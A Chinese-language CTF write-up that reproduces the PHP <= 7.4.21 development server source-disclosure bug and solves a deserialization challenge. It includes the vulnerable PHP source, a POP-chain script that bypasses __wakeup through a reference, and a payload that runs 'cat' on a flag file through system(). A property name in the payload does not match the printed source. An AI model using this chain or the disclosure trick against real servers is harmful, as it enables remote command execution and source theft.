PHP Development Server源码泄露

漏洞复现

版本:PHP <= 7.4.21

准备环境:

docker pull php:7.4.21
docker run --rm -i -t -p 2333:80 php:7.4.21 /bin/bash
echo "<?php phpinfo();?>" > phpinfo.php 
php -S 0.0.0.0:80

关掉Burp自动修改Content-Length的功能

源码泄露

[2023饶派杯XCTF车联网挑战赛]fileread

感谢大锅们复现的题目🙏

这里最难的部分就是获取这个源码:

然后就是简单的反序列化:

<?php
show_source("index.php");
ini_set("error_reporting","E_ALL &amp; ~E_NOTICE");
class A
{
    public $func;
    public $end2;
    public function __wakeup()
    {
        $this->end2="die";
    }
    public function __call($method, $args)
    {
        echo "begin";
    }
    public function __destruct()
    {
        $this->func="system";
        $waf=$this->end2;
        $func=$this->func;
        $waf();
        $func($_GET["param"]);
    }
}
class B
{
    public $poc;
    public function __destruct()
    {
        $this->poc->test();
    }
}
echo unserialize($_GET["poc"]);

这里需要绕过__wakeup,进而在__destruct避免$waf()执行die(),然后通过param传参执行system

由于PHP版本,CVE-2016-7124的方法无法使用。正确的解法是建立一个$end2$func的引用,这样在__wakeup中执行$this->end2="die"还可以在__destruct中通过$this->func="system"修改$this->end2

pop链构造:

<?php
class A
{
    public $func;
    public $end2;

}

$a = new A();
$a->func = &$a->end2;
echo serialize($a);

exp: poc=O:1:"A":2:{s:4:"func";N;s:15:"end_ifadajdqdqd";R:2;}&param=cat /ffffllaggggggg

参考链接

PHP<=7.4.21 Development Server源码泄露漏洞